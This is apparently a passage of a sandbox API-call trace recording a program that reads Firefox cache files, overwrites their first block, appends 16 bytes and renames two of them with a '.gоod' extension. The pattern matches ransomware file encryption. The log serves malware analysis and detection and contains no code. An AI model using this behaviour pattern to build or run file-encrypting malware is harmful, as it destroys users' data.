[0225.418] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0225.418] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0AC9F7B5191BD4245406C47F3AE2CFC3EE5B6B61", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0AC9F7B5191BD4245406C47F3AE2CFC3EE5B6B61", lpFilePart=0x0) returned 0x7f [0225.418] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0225.418] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0AC9F7B5191BD4245406C47F3AE2CFC3EE5B6B61" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0ac9f7b5191bd4245406c47f3ae2cfc3ee5b6b61"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0225.418] GetFileType (hFile=0x808) returned 0x1 [0225.418] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0225.418] GetFileType (hFile=0x808) returned 0x1 [0225.418] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x1000 [0225.418] ReadFile (in: hFile=0x808, lpBuffer=0x361f940, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb0c8, lpOverlapped=0x0 | out: lpBuffer=0x361f940*, lpNumberOfBytesRead=0x1fbeb0c8*=0x167, lpOverlapped=0x0) returned 1 [0225.420] CloseHandle (hObject=0x808) returned 1 [0225.420] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0AC9F7B5191BD4245406C47F3AE2CFC3EE5B6B61", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0AC9F7B5191BD4245406C47F3AE2CFC3EE5B6B61", lpFilePart=0x0) returned 0x7f [0225.420] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0225.420] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0AC9F7B5191BD4245406C47F3AE2CFC3EE5B6B61" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0ac9f7b5191bd4245406c47f3ae2cfc3ee5b6b61"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0225.420] GetFileType (hFile=0x808) returned 0x1 [0225.420] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0225.420] GetFileType (hFile=0x808) returned 0x1 [0225.420] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x1167 [0225.421] WriteFile (in: hFile=0x808, lpBuffer=0x3621560*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeafe8, lpOverlapped=0x0 | out: lpBuffer=0x3621560*, lpNumberOfBytesWritten=0x1fbeafe8*=0x10, lpOverlapped=0x0) returned 1 [0225.421] CloseHandle (hObject=0x808) returned 1 [0225.421] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0AC9F7B5191BD4245406C47F3AE2CFC3EE5B6B61", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0AC9F7B5191BD4245406C47F3AE2CFC3EE5B6B61", lpFilePart=0x0) returned 0x7f [0225.421] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0225.421] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0AC9F7B5191BD4245406C47F3AE2CFC3EE5B6B61" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0ac9f7b5191bd4245406c47f3ae2cfc3ee5b6b61"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0225.421] GetFileType (hFile=0x808) returned 0x1 [0225.421] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0225.421] GetFileType (hFile=0x808) returned 0x1 [0225.421] ReadFile (in: hFile=0x808, lpBuffer=0x36238c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb078, lpOverlapped=0x0 | out: lpBuffer=0x36238c8*, lpNumberOfBytesRead=0x1fbeb078*=0x1000, lpOverlapped=0x0) returned 1 [0225.802] CloseHandle (hObject=0x808) returned 1 [0225.802] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0AC9F7B5191BD4245406C47F3AE2CFC3EE5B6B61", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0AC9F7B5191BD4245406C47F3AE2CFC3EE5B6B61", lpFilePart=0x0) returned 0x7f [0225.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0225.802] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0AC9F7B5191BD4245406C47F3AE2CFC3EE5B6B61" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0ac9f7b5191bd4245406c47f3ae2cfc3ee5b6b61"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0225.802] GetFileType (hFile=0x808) returned 0x1 [0225.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0225.802] GetFileType (hFile=0x808) returned 0x1 [0225.802] WriteFile (in: hFile=0x808, lpBuffer=0x359e4b0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbeb128, lpOverlapped=0x0 | out: lpBuffer=0x359e4b0*, lpNumberOfBytesWritten=0x1fbeb128*=0x1010, lpOverlapped=0x0) returned 1 [0225.803] CloseHandle (hObject=0x808) returned 1 [0225.803] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0AC9F7B5191BD4245406C47F3AE2CFC3EE5B6B61", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0AC9F7B5191BD4245406C47F3AE2CFC3EE5B6B61", lpFilePart=0x0) returned 0x7f [0225.803] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0AC9F7B5191BD4245406C47F3AE2CFC3EE5B6B61.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0AC9F7B5191BD4245406C47F3AE2CFC3EE5B6B61.gоod", lpFilePart=0x0) returned 0x84 [0225.803] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0225.803] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0AC9F7B5191BD4245406C47F3AE2CFC3EE5B6B61" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0ac9f7b5191bd4245406c47f3ae2cfc3ee5b6b61"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd4f2826, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd4f2826, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x82ccdac9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1177)) returned 1 [0225.803] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0225.803] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0AC9F7B5191BD4245406C47F3AE2CFC3EE5B6B61" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0ac9f7b5191bd4245406c47f3ae2cfc3ee5b6b61"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0AC9F7B5191BD4245406C47F3AE2CFC3EE5B6B61.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0ac9f7b5191bd4245406c47f3ae2cfc3ee5b6b61.gоod")) returned 1 [0225.804] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0B59963DF9BAE2D2E93964FC3500B450212202AA", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0B59963DF9BAE2D2E93964FC3500B450212202AA", lpFilePart=0x0) returned 0x7f [0225.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0225.804] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0B59963DF9BAE2D2E93964FC3500B450212202AA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0b59963df9bae2d2e93964fc3500b450212202aa"), fInfoLevelId=0x0, lpFileInformation=0x37d3a90 | out: lpFileInformation=0x37d3a90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x428b2b53, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x428b2b53, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x428b2b53, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x158e1)) returned 1 [0225.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0225.804] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0B59963DF9BAE2D2E93964FC3500B450212202AA", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0B59963DF9BAE2D2E93964FC3500B450212202AA", lpFilePart=0x0) returned 0x7f [0225.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0225.805] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0B59963DF9BAE2D2E93964FC3500B450212202AA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0b59963df9bae2d2e93964fc3500b450212202aa"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0225.805] GetFileType (hFile=0x808) returned 0x1 [0225.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0225.805] GetFileType (hFile=0x808) returned 0x1 [0225.805] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x1000 [0225.805] ReadFile (in: hFile=0x808, lpBuffer=0x37d3ff8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb0c8, lpOverlapped=0x0 | out: lpBuffer=0x37d3ff8*, lpNumberOfBytesRead=0x1fbeb0c8*=0x1000, lpOverlapped=0x0) returned 1 [0225.807] CloseHandle (hObject=0x808) returned 1 [0225.807] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0B59963DF9BAE2D2E93964FC3500B450212202AA", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0B59963DF9BAE2D2E93964FC3500B450212202AA", lpFilePart=0x0) returned 0x7f [0225.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0225.807] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0B59963DF9BAE2D2E93964FC3500B450212202AA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0b59963df9bae2d2e93964fc3500b450212202aa"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0225.807] GetFileType (hFile=0x808) returned 0x1 [0225.807] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0225.807] GetFileType (hFile=0x808) returned 0x1 [0225.807] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x158e1 [0225.807] WriteFile (in: hFile=0x808, lpBuffer=0x37d5758*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeafe8, lpOverlapped=0x0 | out: lpBuffer=0x37d5758*, lpNumberOfBytesWritten=0x1fbeafe8*=0x10, lpOverlapped=0x0) returned 1 [0225.808] CloseHandle (hObject=0x808) returned 1 [0225.808] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0B59963DF9BAE2D2E93964FC3500B450212202AA", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0B59963DF9BAE2D2E93964FC3500B450212202AA", lpFilePart=0x0) returned 0x7f [0225.808] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0225.808] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0B59963DF9BAE2D2E93964FC3500B450212202AA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0b59963df9bae2d2e93964fc3500b450212202aa"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0225.809] GetFileType (hFile=0x808) returned 0x1 [0225.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0225.809] GetFileType (hFile=0x808) returned 0x1 [0225.809] ReadFile (in: hFile=0x808, lpBuffer=0x37d7dc0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb078, lpOverlapped=0x0 | out: lpBuffer=0x37d7dc0*, lpNumberOfBytesRead=0x1fbeb078*=0x1000, lpOverlapped=0x0) returned 1 [0225.983] CloseHandle (hObject=0x808) returned 1 [0225.983] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0B59963DF9BAE2D2E93964FC3500B450212202AA", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0B59963DF9BAE2D2E93964FC3500B450212202AA", lpFilePart=0x0) returned 0x7f [0225.983] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0225.983] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0B59963DF9BAE2D2E93964FC3500B450212202AA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0b59963df9bae2d2e93964fc3500b450212202aa"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0225.983] GetFileType (hFile=0x808) returned 0x1 [0225.983] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0225.983] GetFileType (hFile=0x808) returned 0x1 [0225.983] WriteFile (in: hFile=0x808, lpBuffer=0x35f6f10*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbeb128, lpOverlapped=0x0 | out: lpBuffer=0x35f6f10*, lpNumberOfBytesWritten=0x1fbeb128*=0x1010, lpOverlapped=0x0) returned 1 [0225.983] CloseHandle (hObject=0x808) returned 1 [0225.983] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0B59963DF9BAE2D2E93964FC3500B450212202AA", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0B59963DF9BAE2D2E93964FC3500B450212202AA", lpFilePart=0x0) returned 0x7f [0225.983] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0B59963DF9BAE2D2E93964FC3500B450212202AA.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0B59963DF9BAE2D2E93964FC3500B450212202AA.gоod", lpFilePart=0x0) returned 0x84 [0225.983] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0225.984] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0B59963DF9BAE2D2E93964FC3500B450212202AA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0b59963df9bae2d2e93964fc3500b450212202aa"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x428b2b53, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x428b2b53, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x82e97782, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x158f1)) returned 1 [0225.984] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0225.984] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0B59963DF9BAE2D2E93964FC3500B450212202AA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0b59963df9bae2d2e93964fc3500b450212202aa"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0B59963DF9BAE2D2E93964FC3500B450212202AA.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0b59963df9bae2d2e93964fc3500b450212202aa.gоod")) returned 1 [0225.984] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C77EEB41B9F3EA63660D6CFF2513A05E2E76F89", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C77EEB41B9F3EA63660D6CFF2513A05E2E76F89", lpFilePart=0x0) returned 0x7f [0225.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0225.984] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C77EEB41B9F3EA63660D6CFF2513A05E2E76F89" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0c77eeb41b9f3ea63660d6cff2513a05e2e76f89"), fInfoLevelId=0x0, lpFileInformation=0x36e91c0 | out: lpFileInformation=0x36e91c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd518a8e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd518a8e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd518a8e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1164)) returned 1 [0225.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0225.985] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C77EEB41B9F3EA63660D6CFF2513A05E2E76F89", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C77EEB41B9F3EA63660D6CFF2513A05E2E76F89", lpFilePart=0x0) returned 0x7f [0225.985] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0225.985] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C77EEB41B9F3EA63660D6CFF2513A05E2E76F89" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0c77eeb41b9f3ea63660d6cff2513a05e2e76f89"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0225.985] GetFileType (hFile=0x808) returned 0x1 [0225.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0225.985] GetFileType (hFile=0x808) returned 0x1 [0225.985] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x1000 [0225.985] ReadFile (in: hFile=0x808, lpBuffer=0x36e9728, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb0c8, lpOverlapped=0x0 | out: lpBuffer=0x36e9728*, lpNumberOfBytesRead=0x1fbeb0c8*=0x164, lpOverlapped=0x0) returned 1 [0225.987] CloseHandle (hObject=0x808) returned 1 [0225.987] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C77EEB41B9F3EA63660D6CFF2513A05E2E76F89", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C77EEB41B9F3EA63660D6CFF2513A05E2E76F89", lpFilePart=0x0) returned 0x7f [0225.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0225.987] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C77EEB41B9F3EA63660D6CFF2513A05E2E76F89" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0c77eeb41b9f3ea63660d6cff2513a05e2e76f89"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0225.987] GetFileType (hFile=0x808) returned 0x1 [0225.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0225.987] GetFileType (hFile=0x808) returned 0x1 [0225.987] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x1164 [0225.987] WriteFile (in: hFile=0x808, lpBuffer=0x36eabf0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeafe8, lpOverlapped=0x0 | out: lpBuffer=0x36eabf0*, lpNumberOfBytesWritten=0x1fbeafe8*=0x10, lpOverlapped=0x0) returned 1 [0225.988] CloseHandle (hObject=0x808) returned 1 [0225.988] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C77EEB41B9F3EA63660D6CFF2513A05E2E76F89", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0C77EEB41B9F3EA63660D6CFF2513A05E2E76F89", lpFilePart=0x0) returned 0x7f 